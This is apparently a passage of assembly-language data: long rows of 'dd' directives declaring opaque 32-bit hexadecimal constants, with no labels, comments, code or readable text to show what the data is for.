		dd 9C365BC8h, 48098A4Ah, 8693770Eh, 75FC208h, 61A5EE05h
		dd 2BC601D3h, 0F33B2639h, 5D816524h, 29AF8553h,	8CDC6E7Eh
		dd 0D9A7ED41h, 267295E8h, 4617611Dh, 0AC8050F5h, 4E9EE910h
		dd 7891B294h, 59693E29h, 0D2EC4A12h, 8DA30BDEh,	0D698FD68h
		dd 3B63CFC1h, 4239682Fh, 16F5DE05h, 380BBF1Eh, 0BA90DD4Eh
		dd 843B5185h, 3E097D6Fh, 150170h, 2327333Fh, 0F629063h
		dd 0E1C9ED8Bh, 0B504BEDAh, 895E02B8h, 40F684EEh, 0A73E99B1h
		dd 5FA74E98h, 0BD25F04Eh, 0D602D213h, 1020DAE8h, 54EB8013h
		dd 2D38EBE8h, 97BBFC73h, 24DC078Bh, 0F3E2E9C8h,	0E2FDDC9Eh
		dd 9A40BE0Fh, 0B2806555h, 0F2801E0Dh, 0A458920h, 36DE2366h
		dd 0E6D559D3h, 0C8CCD8F1h, 333E2D20h, 96203876h, 0A872F302h
		dd 0DD313B7Ah, 0BFE2A402h, 0E92B86E0h, 0F9A2EA20h, 73FF03Bh
		dd 2D1C7680h, 50410140h, 50ED87A5h, 893BF4B0h, 6819A08Fh
		dd 9EEEE2ABh, 0C759933Ch, 4920C2B2h, 25FB882Eh,	4694376h
		dd 9CBE746Eh, 47DFFEC9h, 0D10FE985h, 0A59167BEh, 542EA0D0h
		dd 0C74D09Dh, 676A0AB9h, 4B163FF8h, 0E5125B50h,	5A58C0C0h
		dd 60FD2F68h, 828949D9h, 4935FE6h, 644005B2h, 0C80272BCh
		dd 0E9F501AFh, 524EE90Dh, 6792920h, 0BA774D39h,	0D2B50B7Dh
		dd 2762F36Eh, 8072E90Ah, 0CCE29DC5h, 0E1F5AC2Bh, 0DD368509h
		dd 0A19AF80Bh, 20C1164Ch, 0AFDEF2A5h, 1EA57F24h, 16D9BB87h
		dd 1EEFBD9Bh, 210B08EFh, 763812C4h, 0CF3F0BF6h,	5EE971FCh
		dd 3EB360C6h, 51C66866h, 7ABEBA4h, 880F38F3h, 0B02EB40Ah
		dd 534B5805h, 0A02AC08Dh, 6169DEB5h, 8A31551Eh,	6DC12A3Bh
		dd 68015960h, 0FD71EE22h, 1C8220BAh, 1E6BC680h,	0C0B98BF3h
		dd 382AD252h, 68122CF5h, 0A5CC1D8Bh, 915BD233h,	888566CFh
		dd 600F75h, 564FCBB9h, 729F3173h, 35712F3h, 0E6FA31D0h
		dd 0E47B78D9h, 4D85D8FBh, 14861310h, 0A46F24Bh,	6B6C0E68h
		dd 7AC1A6B9h, 50C0CB1Ch, 684C2FB8h, 7C49BF18h, 43E66A58h
		dd 0E941ED88h, 527BE3DBh, 5853FFB4h, 23BC5D17h,	47DC6882h
		dd 5E24F7EFh, 0EAE1E962h, 3AF9F497h, 0F7F5B5B0h, 482D47FCh
		dd 0B781604h, 22C24C82h, 0F53CB40h, 90C65BCBh, 27215C92h
		dd 0E04859C8h, 5BC7D2FAh, 0F9F256E5h, 5997C84Dh, 3C8A0402h
		dd 0BBC2F7E9h, 0F1ED4424h
		dd 32D701F1h, 0E28DD499h, 2CE47F66h, 59582525h,	6981A632h
		dd 41F41500h, 48B70C9Dh, 2F32DB47h, 968845DEh, 0C15B0207h
		dd 48F708E5h, 2D737445h, 2FC018D3h, 62C593D2h, 26EAF42Ch
		dd 9E02C8C0h, 29DE28D8h, 740D5D0h, 0F8274726h, 8DB7D645h
		dd 0F88F0A50h, 6F3D03A0h, 62C0A57Eh, 0F1D8D492h, 4F706F5Ch
		dd 0DDD891E9h, 0CF95823Bh, 6EFF25DEh, 4BAC987Eh, 601EC9B3h
		dd 9E40704Bh, 3E200C1h,	28CCCA81h, 71B6412Bh, 0CF0210Ch
		dd 0F47D17C2h, 0F6BE0474h, 7800120Ch, 3196F51h,	70029789h
		dd 805F9F1h, 0EEB6FA83h, 28CE38C5h, 0E05C9B17h,	5501F6EBh
		dd 0E901A061h, 9D640586h, 389B98E1h, 0CB3E07F1h, 3C72F90h
		dd 31165DBDh, 5A622063h, 0EF814F00h, 0F29423B1h, 247C1301h
		dd 42D1A508h, 83FC8F78h, 0CC6664EFh, 0EBC02FD7h, 773506F6h
		dd 0B0F1B579h, 5873E941h, 42108569h, 0EF300E5Eh, 5BF90059h
		dd 1FD6B753h, 3C17C780h, 2C2928CEh, 0C8780970h,	6DB766E8h
		dd 0EE0295E9h, 52EBE917h, 6861BEB1h, 0AE04C63Bh, 134CAB26h
		dd 0AF2898B1h, 0D001101Dh, 5134B652h, 54E944F0h, 9D01D429h
		dd 3A28DF7Bh, 5404A67Fh, 8E94E96Fh, 83B20C13h, 4303B695h
		dd 0EE80E6D0h, 0DB90E18Ah, 0FE8F252Bh, 0BC4149C8h, 3DB02FADh
		dd 0F183DF3Fh, 8C6B5663h, 0E2B294B1h, 0F6CC880Eh, 7DE18FD4h
		dd 42136B55h, 0ECD690h,	0BE568071h, 350C1704h, 0FBA9015Bh
		dd 0B171E909h, 924296D1h, 625207BEh, 0B7CEFD9h,	0CA55D842h
		dd 29C8FDE7h, 0EC5B7BE9h, 57E0C3ACh, 6538B768h,	12AC4E4Ah
		dd 0D85E6704h, 1662B82Bh, 0DBF7B25Ch, 0A9D34E72h, 1E61340h
		dd 0CF2792A9h, 6A256DC0h, 605E6C1Eh, 2C067C88h,	36F3013Dh
		dd 205132C5h, 6082F506h, 1596424h, 4BBB1219h, 2A5B1B96h
		dd 0D43094F1h, 23C05E3h, 8EDF0149h, 10B74DF3h, 0D05FAB9Eh
		dd 2C0DF39Ah, 4FC75F4h,	1532825Fh, 9282FD55h, 400FC72h
		dd 90232C96h, 0B89E5A06h, 0F813CB1Fh, 0F6EDB7C4h, 0C4668D35h
		dd 195100D0h, 0B305606Dh, 9F5E92E6h, 0C2D52EACh, 5E4D2860h
		dd 315C3D1Eh, 183B1798h, 0D4AE34FEh, 0C469FF6Fh, 0AB10172Eh
		dd 0F6D33862h, 0F5350118h, 863B1925h, 0B275B032h, 0F41B24F4h
		dd 9349586Bh, 0B211BA97h, 49465412h, 841E7148h,	0B0ED2CB9h
		dd 0D881622Bh, 0E96248D1h, 66AF7F74h, 2712C9A1h, 4B833011h
		dd 0FB608541h, 4F01BD04h, 703C38E7h, 0BFEEE970h, 0EAFDADBAh
		dd 0B7E2635Fh, 60886632h, 98C9FE5Eh, 50BF4CB5h,	962C590Fh
		dd 0E95585D8h, 61D687F8h, 7E014A13h, 0FD440AFCh, 68C4D931h
		dd 64929DE7h, 0D20541h,	18188EBDh, 3645334Ch, 152E35E2h
		dd 0AC03071Ch, 0E042DA22h, 304F5ACDh, 0F52619E4h, 89322083h
		dd 0C3076E3Bh, 0F5D592B7h, 5306690h, 0E97DEB09h, 16ECD832h
		dd 0FA2065B2h, 10965D54h, 680962D2h, 0C0710D4Eh, 2EC6A92h
		dd 0AE55BBC9h, 0C17A857Ch, 5EEC8AD5h, 0A18E68C4h, 2F12D434h
		dd 0E95118BFh, 6FA14D35h, 8453F411h, 29026DB3h,	647705F0h
		dd 3A37592Dh, 0C5686607h, 0E9649422h, 0D2C70472h, 4180DB74h
		dd 5C0B15E2h, 6C05CA13h, 0AF44077Fh, 0CB37F45h,	881E33A3h
		dd 52A3D2C7h, 1ADE060Fh, 5806678Ah, 0C380D3F6h,	0BC95207Eh
		dd 0DE8B06B6h, 9CA73B8h, 0DBF1CD44h, 33977A8Ch,	0BC45FEF0h
		dd 207E2FA1h, 5E415399h, 0D6CEADF9h, 4A814A9Eh,	57CC7A78h
		dd 490FC82Fh, 0EA345BBEh, 9EC57402h, 0DB414BD1h, 12C07E57h
		dd 275638CDh, 0B970403Bh, 1273CF1h, 0E7C031B7h,	8941FE02h
		dd 9B296E14h, 0F65A2D05h, 2DFED25h, 9A5CEEFh, 0B4077DAh
		dd 1194A733h, 9716766Bh, 0E341EE05h, 727D6851h,	2AF8CC6Bh
		dd 270A0112h, 0C4E6C900h, 252DA57Ah, 0EB4213E9h, 84CF405Ch
		dd 0C5FD777Eh, 17051410h, 0B7ED8068h, 0B8F77184h, 6855810Dh
		dd 8C2E3C63h, 855E3D13h, 0E3D700E9h, 0FE662FA8h, 52A74227h
		dd 0DFD02102h, 0C72FCDCDh, 0E8C18505h, 0BF8EAF0Eh, 2A0C680Bh
		dd 1A6A8BF4h, 60C7E68Ah, 2481FDB4h, 4E02B148h, 14C57860h
		dd 1A4B0948h, 0F9460F4Dh, 43133D70h, 0C95BB815h, 5514E17Bh
		dd 0F124C2CFh, 0F0C560B4h, 7D4C996Bh, 5DF6072Bh, 0EDC143F2h
		dd 4BE15FFAh, 0CE6C17Ah, 89AA6982h, 251E5B1Ch, 8209BED9h
		dd 827AF476h, 39C7A29h,	0ABC398C0h, 47E72502h, 280FEE9h
		dd 0CE68F189h, 0A0307C63h, 68870C35h, 0E15F4CE8h, 20C2510h
		dd 697C9D2Dh, 20D5F63Ch, 2A5BBD07h, 0F3A4770Ah,	16CCE681h
		dd 44603C02h, 67869878h, 0D5E970DFh, 9FE8E30Dh,	0B051A989h
		dd 9502AA4Bh, 868BC951h, 86D8360Ch, 1B66978Bh, 0B647E913h
		dd 0F9F09553h, 0EF78D68Dh, 5555CF72h, 5A01CD64h, 1DE3E281h
		dd 0BDF44C26h, 226403BBh, 5DEA217Eh, 0C084F2F9h, 62B74002h
		dd 5B5FC121h, 0F38BFD7Dh, 68633CF6h, 842A15Eh, 0E072522Fh
		dd 0E70112E8h, 0E9D5210Ah, 246D5F3Ah, 1F865310h, 884BDA31h
		dd 4923CC02h, 68045B11h, 0A0D056BAh, 0BE80BB35h, 7E431697h
		dd 6705AE5Dh, 0F2CEF6ECh, 50ED8876h, 7097FF9Ah,	2134C490h
		dd 0FF5F09CFh, 3F48479Ah, 54A1D48Dh, 9112E48h, 59704BA8h
		dd 0B4250A68h, 6A73625Ah, 88EE6605h, 81C0AD35h,	0B84E7C05h
		dd 0E0014C22h, 0FC0FA817h, 0D009A24Dh, 4395A0F3h, 74CF2506h
		dd 0CA962ED4h, 0EC260D21h, 0EFEF2793h, 4FD0AF50h, 0D940BBB9h
		dd 0A4384DE9h, 0C8503025h, 0E285085Ah, 5D6CD8BBh, 67BFA1C0h
		dd 9A61C55Ah, 0E6B4E6CBh, 266C90B2h, 6F010F23h,	508BEBC7h
		dd 0D989D2CEh, 16E190C8h, 0A19F421h, 660187Eh, 1040F996h
		dd 23D29F53h, 7E510882h, 0FEC574A4h, 0F326EF9h,	4E775D9Dh
		dd 0DF00BF6Bh, 2944FE13h, 82BFF0BFh, 0C2BB6008h, 7C5E8197h
		dd 3DECD7BBh, 0AE7B9005h, 200AA51h, 0E9594D44h,	8C975B76h
		dd 0D75BFCE0h, 8638FB89h, 0F89D01A5h, 6E33B518h, 528207B2h
		dd 43585A5Dh, 0E69CA27Fh, 8007049Ah, 90602F3Ch,	5352BF1Ch
		dd 0BE4BA3B0h, 40719728h, 1800BFD2h, 81493646h,	307424CFh
		dd 0C40C2861h, 125FFD47h, 5C1774A9h, 254AE66Eh,	57984201h
		dd 5C541E94h, 0AF250F8Eh, 5307E0C8h, 65BF834Fh,	273DADACh
		dd 2C5953E7h, 84E90409h, 4AD8BE69h, 353F0BC1h, 7C746FEEh
		dd 46045C65h, 0B90EDD4Dh, 4C115E02h, 0F73602FFh, 0DF425FD9h
		dd 545DF882h, 1ADBB800h, 253C02DEh, 193F487Fh, 0CE0385C1h
		dd 0A08B5FE3h, 0E99F87F8h, 0F1668B27h, 0C331C2A4h, 0E9BC9BC5h
		dd 44927D28h, 0B8E8E3A2h, 0A51699DDh, 681EE23Ch, 45D9A783h
		dd 46788C8Bh, 45C2F7CBh, 87E524EAh, 0A49E029Bh,	0BAC6C15Bh
		dd 0F7B9025Dh, 0EF81BF6Ah, 0FCF22959h, 5B818D31h, 0C0A7C43Eh
		dd 54757F78h, 87C7454Ah, 0EE81C631h, 76580B42h,	0B85AC43Dh
		dd 34295F65h, 6554AD01h, 89572901h, 56C8322Eh, 20570CFh
		dd 0AFD6DBBDh, 8F924CE5h, 9F23322h, 902F145Dh, 68EF40A6h
		dd 9B781B26h, 0E6F35DC2h, 9610F0F8h, 189A25E9h,	7A09FF61h
		dd 0EA3B8DCAh, 84EBE64Bh, 94E155E9h, 73CBBD70h,	0F8EB48DBh
		dd 4FD08A10h, 7CFBD835h, 4CB1050Eh, 0D9418109h,	577E8636h
		dd 0E02D24D1h, 0C234FCC6h, 0F37637C3h, 861ADFDAh, 0CE410254h
		dd 0BB5C5659h, 0DE632CE9h, 2DD88B56h, 56CC5F6Ah, 1C1D9B80h
		dd 0B7081526h, 18476502h, 0E3C5605Ch, 9D2B257Eh, 7B2F3776h
		dd 8EE98538h, 2C3AA4A4h, 660C706Fh, 390A4D4Ch, 0E324F488h
		dd 3D95A2Bh, 0A812B148h
		dd 0E9A27356h, 0CA21FA92h, 0CA6FC69Dh, 79C34C4Bh, 5EB77682h
		dd 5A2C5748h, 0B239E88Dh, 2869584h, 0E3FEC480h,	0B00A1212h
		dd 510DFF08h, 986EF96Fh, 0FCFDF78Eh, 0BAB50B28h, 0B4C5B17h
		dd 66F135E8h, 0AAA4F92h, 0CF6056AEh, 52F97BC5h,	0C00BBE1h
		dd 15CE56EEh, 5E5FFC17h, 0E9346C9Eh, 1316FB4Ah,	0B02E7E44h
		dd 1C00B609h, 285A66F0h, 0DD98F874h, 7E2CB20h, 3E4A2D5Eh
		dd 857FB86h, 5B000730h,	0BF685256h, 376A0463h, 0ACB927E9h
		dd 29889677h, 0EE6F44F3h, 883ED116h, 7E63706h, 0E2AE5F34h
		dd 5B8B97ACh, 0F7B9F87Bh, 4A3EE77Eh, 5B2A2788h,	0C4ADE60Dh
		dd 57B8CB51h, 0BEFD2C4h, 41337566h, 7B2B601h, 0D33015B3h
		dd 5EED2C2Bh, 0D9251D94h, 6E7E4982h, 97E9542h, 4BF1B05h
		dd 7E6393Bh, 51194868h,	0A086889Dh, 1745B900h, 9B87C6Fh
		dd 9F8064BCh, 0CC09C1D4h, 0EE77B09Eh, 98E98372h, 725394Bh
		dd 954AE64h, 0E6E021B4h, 0D04C31h, 5B09D621h, 0D12BD505h
		dd 7037B5Eh, 402F111h, 0B124A0Ch, 3594BE67h, 100D0814h
		dd 582D9F06h, 4CBCEFCCh, 21D8E5C9h, 5801248Ch, 60020E35h
		dd 3E686515h, 0A9B1A25Ah, 8A6D7F0Ch, 0CEF85392h, 0C569BB93h
		dd 58893B7Dh, 0C9496701h, 27C43019h, 0B7E92586h, 54CE09C2h
		dd 0C94EC2F8h, 0ED61B2F7h, 3B5F5457h, 0B384EAE6h, 77A7F96Ah
		dd 0AAACED24h, 42B132B0h, 297D2795h, 820565Eh, 4BFC5A4Ah
		dd 399AB24Bh, 3BDD37E9h, 0DEF91E65h, 12325224h,	0C475B8AFh
		dd 5B097782h, 0A16FD807h, 42D2315Dh, 0CC2515ADh, 0F9ECBBD4h
		dd 0FA7AD10h, 0E9A1F180h, 0C6AD0A2h, 0D4F6E186h, 66EC6808h
		dd 0C1D39895h, 2D93C76Eh, 653E094h, 551D029h, 0A49C9007h
		dd 0CCBA5203h, 0BBA8217Fh, 4D2791D1h, 9F6E78B9h, 9C043AD0h
		dd 2D0B6F11h, 524054BEh, 0DCB4E909h, 5D2B602Bh,	0DC54A9DFh
		dd 5C5C4B88h, 6FE619Ch,	7A236867h, 0B28B25E9h, 37558890h
		dd 0EF7D89E4h, 0CBF9655Bh, 5DE7F502h, 67410B98h, 6E9FD8ACh
		dd 28418CA1h, 0B076F2Dh, 0A700D6E2h, 513EAB72h,	0F9E2554h
		dd 44E477FEh, 5ACC40A4h, 4610395h, 7DC38F5Fh, 892B1C9Fh
		dd 475DDDEAh, 9B7CAD2Dh, 6C200650h, 0F1011261h,	0B73DEB5Eh
		dd 411AD562h, 52442FA5h, 0F56942B1h, 0A9B7FB14h, 728EDF99h
		dd 0B850C260h, 0A8245243h, 801F9E30h, 0FF1F2D89h, 208C528h
		dd 4964E958h, 86F00DCh,	0D9680475h, 20D8CD7Ah, 389DC567h
		dd 3FE0D37Eh, 0FA975652h, 1F5EB4E6h, 0C4BC3D45h, 0FF2A9B12h
		dd 0BC343871h, 442E2F72h, 29FBA7E7h, 1DF52288h,	0E9B19657h
		dd 88520CEDh, 827F12FAh, 0DE93D1D9h, 84030C8Dh,	0C0A2FAB4h
		dd 828875A8h, 2D58C057h, 0F84C1740h, 0DCF9024Bh, 0C87D37F1h
		dd 82BA1C07h, 564AE057h, 0E86A9FBEh, 0A220F4FEh, 1F7489Fh
		dd 0FCE917CAh, 0C9F2D4h, 0DAF6E6B2h, 0FE0EF280h, 2C095F49h
		dd 0B80234B5h, 0CA89DA9Eh, 0A3807859h, 5D2C25A4h, 54E024E0h
		dd 3FEFB0B5h, 0A07CA6C6h, 25117D75h, 0CEF46D9Fh, 643A774Bh
		dd 5E5B1101h, 0C2C96252h, 6B6B80E9h, 252DB31Dh,	0B0FE9C06h
		dd 0CC0915A6h, 25ACF989h, 0C9C39456h, 0B81C03EDh, 0DA8C740h
		dd 3AB55BD1h, 0AFFCDB5Dh, 693AD196h, 0DAE9EE90h, 21F4745Ah
		dd 558B4014h, 83600BF8h, 6850520Dh, 7773387Fh, 35485880h
		dd 4B5309F7h, 413A62BFh, 0F905A232h, 9E821256h,	0FD4A80CEh
		dd 3DD5B4E4h, 20BF4208h, 60F7F0FAh, 18C60C5Fh, 485F9871h
		dd 841A9EDh, 7D5FA42h, 590C6E5Dh, 1676CF3Fh, 21B573Bh
		dd 8452D9F7h, 2F44F408h, 16DDAA8Bh, 0B2E55A4Ch,	703B9DE3h
		dd 5D2CD83Dh, 59C25EEh,	57EB314Ah, 5BD4ECE3h, 0B87C29F9h
		dd 5D687310h, 4387C10Dh, 80385540h, 0AC1E9E57h,	6660074Ah
		dd 4E8D75F4h, 0C107284Bh, 4507E502h, 0DD581AE9h, 5A945DE4h
		dd 5023F6AFh, 985D26E9h, 4729176Fh, 89C5D6ECh, 1D8683F3h
		dd 7A9CFFE4h, 0A072B7C2h, 34FC2948h, 80FB4753h,	0B01CFC0h
		dd 0AC4F3728h, 27089678h, 85F92907h, 0AAE17FE9h, 0BD6673DCh
		dd 0E326D744h, 6CC38146h, 64D17E60h, 0E05B0D1Bh, 0EE4076C7h
		dd 1E4BF5Fh, 1240B682h,	0C17364Fh, 0DB84655h, 70259F06h
		dd 0E927DCF5h, 0F5A5E240h, 0F75039B1h, 557D90FDh, 4C5C6851h
		dd 162A26E0h, 0BFC350C5h, 0DCFCEB5Bh, 35442680h, 0E6240DBh
		dd 6820C20Fh, 0A8D309E9h, 92FCBC2h, 7C698263h, 27D00871h
		dd 5F9ABAFEh, 63E455A4h, 6FA22BFBh, 747AB57Ch, 0A1A1017Ch
		dd 0F9E6049Fh, 2020F120h, 0B9BB058Bh, 0BF1F0B3Fh, 562E34C2h
		dd 0EC9427ACh, 59F75C4Bh, 38BB6910h, 58E6125Ah,	3087B3B2h
		dd 980FBF0h, 4985E9C5h,	89AE31D2h, 926340ABh, 244F2326h
		dd 0C72818A8h, 0E95A1308h, 8FE1B925h, 53FE5655h, 69C428AEh
		dd 8B4D682h, 5B07E54Ah,	0B52A2004h, 4347E708h, 2F486165h
		dd 9D233073h, 2E69C1BBh, 1C882614h, 0A61889C6h,	0FE2E1F54h
		dd 2CE6F908h, 2C4510D1h, 5A170059h, 0FBC457h, 32CB8118h
		dd 3EF3313Bh, 16F87E2Ch, 0AB361578h, 327F1Ah, 0AB35228Ah
		dd 6AE92777h, 0A9BFF080h, 14C4B666h, 889A3CCh, 687D56Bh
		dd 19EF3B77h, 0B16F207h, 0CA6713EEh, 368B5041h,	2B307400h
		dd 0E4B0235Ah, 0E5A40B42h, 8E82D529h, 2AD95DE9h, 12BE8B6Fh
		dd 0D4EE40E5h, 788082F2h, 735C0714h, 0AFDFFCC4h, 0EED8002h
		dd 6C122D5h, 4B42D648h,	3EF58000h, 50675D2Dh, 91F6C0Eh
		dd 99308437h, 25E1B901h, 0DDB03A2Eh, 0D3670566h, 0B8E98329h
		dd 1EBF4D69h, 856C1DD9h, 7201F11Eh, 0CA2924ACh,	0F4054897h
		dd 2116D5A3h, 0E3093157h, 4556DAF8h, 0D0BFEB01h, 0D35CB643h
		dd 60E42158h, 0EA2AEF94h, 13017373h, 0DAF75Dh, 0E5404764h
		dd 0FC90427Eh, 352A520h, 911CCEBEh, 6A8815Dh, 22DEA10h
		dd 8ED6604Eh, 0FC947711h, 0F4C21EC6h, 0F7298198h, 4FE4FE9h
		dd 56800E80h, 0EF267ADBh, 0F0505B28h, 113A09E7h, 8E0F10EBh
		dd 0D736D942h, 0A3418E62h, 405E299Bh, 0D79886D3h, 0EE6D0174h
		dd 0A0408F6h, 438443ACh, 3AA41668h, 0C3FFA0C2h,	3C2BD75h
		dd 0F91C7DFh, 0E66431EBh, 0CA40E138h, 0BD1C088Ch, 741D1F01h
		dd 2AB16866h, 54084945h, 25D62554h, 917E8D00h, 987BE29h
		dd 3117845Ch, 5FD7CE1h,	6AC04900h, 0B65F396Dh, 0EF915201h
		dd 0D7442F7Bh, 5A82CB01h, 66E6499Ah, 0B0A5883Bh, 8289C1C9h
		dd 56F3DFFCh, 0EF3CC44Dh, 0CF40949Ah, 9F74EC68h, 0AD205B6Eh
		dd 1238B043h, 0A8A7FD9Fh, 33324BE9h, 0A8B7C55Ch, 0C52F5A84h
		dd 2F6DEBC5h, 0ED4A0538h, 0A2D52D16h, 6C7286B3h, 864EB61Bh
		dd 255CD1E9h, 25028C0Bh, 0F2377A08h, 9A355AF5h,	0DBB34A5Dh
		dd 0B20CEC93h, 2F13FF29h, 74CABED5h, 788E0892h,	0EEC15F03h
		dd 0D88ECA05h, 0FBB63BB7h, 865B54FEh, 147F0BC3h, 3C2218B2h
		dd 40D3C166h, 64AE8992h, 40E08469h, 4373BAFAh, 6E98034Eh
		dd 9056DA01h, 0B7CAE96Ah, 29E2777Ah, 0C9423F54h, 6F49D942h
		dd 8FF4A3A9h, 7C3A046Fh, 68FE9CBAh, 54071A25h, 1E425A8Ch
		dd 87C66292h, 0BFEBE06h, 16C21A5h, 169218ADh, 8E7D3FE9h
		dd 0E371EF5Dh, 0B7297784h, 2ED0E6D4h, 24689104h, 63451922h
		dd 0CFABE951h, 2110AAFCh, 3DFA96EAh, 3B0335Bh, 207D47EBh
		dd 5F0C0116h, 11CB77Eh,	844A0F3h, 4A140CD0h, 5B6AF8F4h
		dd 0A4E8B93Ah, 2F05D9FFh, 4B74809Ah, 0DD77FD04h, 685B1FA2h
		dd 72C3AA3Ch, 0C2739DD4h
		dd 0E90287E4h, 0FD7457D0h, 0F12AEA8Bh, 41D60902h, 76C5B916h
		dd 0DDC25350h, 0E4740B46h, 9008AF68h, 0D9010C7Bh, 204DC698h
		dd 0B7B29705h, 0BF67E90Ah, 4EC40F3Fh, 0ECD71425h, 16E2E7D5h
		dd 0A4C273ABh, 0B17E6698h, 7D30AC5Bh, 0C4EAB753h, 56A8B98h
		dd 0B5C5BFB4h, 0C61C33FCh, 0E9F402CFh, 0CCF5FB3Ch, 7E77201Bh
		dd 63BBBF0Bh, 0C76780ADh, 2F61304Eh, 0F2E22916h, 0CA5C080Bh
		dd 13FCB858h, 817EC834h, 70C083BCh, 0EB624F7Ah,	0E05FF96Dh
		dd 8099B5C6h, 56631D68h, 2D9841F1h, 976D215h, 844D5D0Fh
		dd 0A0BC9DEAh, 0BCD0D5C9h, 96CF3126h, 12B88808h, 5B4E42Dh
		dd 143E1F01h, 0E0685E5Ah, 0E0CE8D2Fh, 989D073Bh, 58584E20h
		dd 0F516D31Bh, 4F51B745h, 1D327FCh, 0B74254BFh,	9CDF2013h
		dd 2B7C0113h, 81C58EE0h, 953F0CDh, 0F50F3276h, 331497A0h
		dd 0EC4E8BBCh, 0B7103B2h, 0D4C1680Fh, 0A34C77C1h, 886BF00h
		dd 701F4E27h, 0CC20B5C0h, 0E6C6159Ah, 0ADBCE0B7h, 165F8277h
		dd 54D2FEB2h, 3EB386EEh, 5DA7D346h, 0A09590E6h,	60216852h
		dd 0E0334E56h, 3017CAB1h, 13AC6146h, 0ADEFB70Bh, 210084F7h
		dd 0B4192FFh, 18047E58h, 31369904h, 257FFAB5h, 0E05AB80Eh
		dd 4B334FE6h, 928FB864h, 3E0B035Eh, 10B05771h, 75242265h
		dd 3012712h, 48050660h,	0FA50C53Eh, 5D320D02h, 37625DE0h
		dd 62174077h, 84A0BC6Dh, 87C736AAh, 17742668h, 4DEDEA5Ah
		dd 0BF77BF4Ch, 0EFBEA04h, 63169301h, 125FACE4h,	0B340BF68h
		dd 8B5B1054h, 0B716AC3Bh, 5817624Eh, 20E97257h,	59503FB4h
		dd 16282A94h, 0F24BE786h, 1CD8ADBCh, 0AA2E0197h, 949AFC3Eh
		dd 8542D50Fh, 8365CC76h, 0FC5FDDACh, 1582E5BEh,	0E4D85A67h
		dd 3661002Dh, 3F9FE681h, 0E9271410h, 0C03A05EFh, 0F280E4C0h
		dd 0D2F613BDh, 0A0171066h, 27BAD310h, 9805E01h,	86F11085h
		dd 0DD8B0289h, 48DDFD18h, 0B16FAD81h, 0D6C83B4Ch, 3D5C0068h
		dd 93585F1Ah, 0E9E6DBF7h, 9D87E15Eh, 91572355h,	88A5FDB9h
		dd 365DE949h, 73A25EA0h, 3CADFD16h, 0A25CCFC5h,	0E0B2A705h
		dd 62F4C52h, 0D67613C7h, 0B8609478h, 7C79E233h,	856048D7h
		dd 0C912403Ah, 431B077Eh, 0B8061407h, 0D7EC4BC7h, 69472D09h
		dd 0A132778Eh, 0BFF461Dh, 371E7B9Dh, 7A0499D6h,	0BB5300B9h
		dd 1F4817F9h, 4ADD212Dh, 0DCD15h, 351580Eh, 201405B9h
		dd 2D9776B3h, 168C2484h, 0E0F84ED4h, 0AAE52DB2h, 0C842700Bh
		dd 0F2028B78h, 0BF85B792h, 0C1CB0543h, 3084C7EBh, 63E01220h
		dd 9C0F8290h, 8053CF5Bh, 0B9243EEDh, 640CC021h,	16EDF0Bh
		dd 8BB08BDh, 140B0C34h,	7A21045Bh, 52D2B017h, 888D604Bh
		dd 0D88A172Ah, 0E925FE2Eh, 0F4744299h, 8D6B6F62h, 60F6CDC1h
		dd 0BAB6E8F0h, 3B526804h, 1BD730AFh, 534E0342h,	37F5F0h
		dd 53697C6h, 1F2A610Eh,	2DD02914h, 0DFE93F07h, 9F7CAA4h
		dd 487F311Bh, 2F9FCB80h, 13902D49h, 3D159C09h, 0F142804Ah
		dd 2E041Bh, 0AA75B30Dh,	6203357Dh, 505A0F27h, 0C48B98FBh
		dd 0A8AC0D08h, 0FE052D97h, 20805AE6h, 68C83118h, 0E8F85E5Fh
		dd 0E98744D6h, 5F79220h, 736F01F9h, 4BEEA25h, 13FD0A71h
		dd 0A805C0ACh, 0BF37CB5Ah, 9F308997h, 0DE4F2B27h, 0A81081D2h
		dd 28FB31FCh, 0AEE1A4DAh, 10F6EC2Ah, 2E7B5401h,	816FF6E9h
		dd 3059B551h, 170F39EBh, 62F7B3ABh, 2C12573Eh, 2DF644F1h
		dd 285A023Dh, 55E9EAC3h, 18C504CCh, 4AEC2EE9h, 6CEABF09h
		dd 0A258848Bh, 48C78331h, 68016569h, 4EF46A64h,	584640F5h
		dd 0A0865049h, 9F4C25E9h, 294072EAh, 8083EE88h,	0F7285BFDh
		dd 48672070h, 41D2AD7Fh, 65315347h, 41964B6Eh, 0E90F00F7h
		dd 0D19F68B2h, 16D69021h, 8DCF04EEh, 0D62CAC4Ah, 7110CCCBh
		dd 0E681517Ch, 85300909h, 0F9E87395h, 312D55CAh, 5526ADAh
		dd 607EC0Ch, 0F3811D05h, 6DE4C92Dh, 0BA603556h,	0B4891B78h
		dd 444C194Fh, 85F26B59h, 0DDF8D4C9h, 0A54BC59Fh, 244F3CF6h
		dd 0E2BA2868h, 31B12CACh, 0C1FED105h, 0C03922F8h, 89F606ADh
		dd 26F1AD88h, 384002F8h, 0E8F50E02h, 0CB7437B8h, 8A1D9F7h
		dd 0F5F02AB4h, 563B648Ch, 3620EFB0h, 8F5C4EACh,	1FE90C13h
		dd 0EC4624C4h, 53CDC0CAh, 60B1D5B3h, 60B0D9E0h,	0BAF640h
		dd 66413D09h, 5F5A5752h, 54874725h, 76B504A1h, 0FBAAC403h
		dd 1BD22187h, 0F34B613Dh, 5966BD00h, 50745425h,	1A670319h
		dd 0D105E909h, 44B95D05h, 14BF64E0h, 0DD00EB12h, 81775A4Eh
		dd 791710E5h, 0FF2569h,	4C5908B6h, 7B026853h, 5B4DC427h
		dd 2918C131h, 0D3BB00CEh, 465B9E20h, 55C41B42h,	0C3E080D8h
		dd 3B2A081Eh, 1308347h,	0BAD1DF12h, 52026A4Bh, 51757EE9h
		dd 77004974h, 625238D3h, 9B7405Ch, 596D76E9h, 535609E2h
		dd 12BC5104h, 0A611A5ACh, 79B14F7Eh, 5A8BE43Fh,	3BF5DEEFh
		dd 46E9AB3h, 0B616AB5Ch, 0F4D58A7h, 0A9E98180h,	2D4C2656h
		dd 6BA30650h, 1DB62FBBh, 8D7A754Ch, 228D129h, 0A87D5A08h
		dd 234817BFh, 0DE19E909h, 7102694Ah, 12E6AFD9h,	0F1409BB5h
		dd 3D34CC11h, 8C594BAEh, 0BB4045A1h, 5EF31231h,	0BE5DFB2Dh
		dd 0BDC8F665h, 0C1745105h, 4E05AF2Ah, 3442F28Eh, 0DE392F68h
		dd 32F7C9C8h, 8339C070h, 874797C0h, 0E5C4FA13h,	0F66A81FBh
		dd 0E58270D7h, 287DD08Bh, 0B1204EC2h, 9E3C3AB1h, 48B60E35h
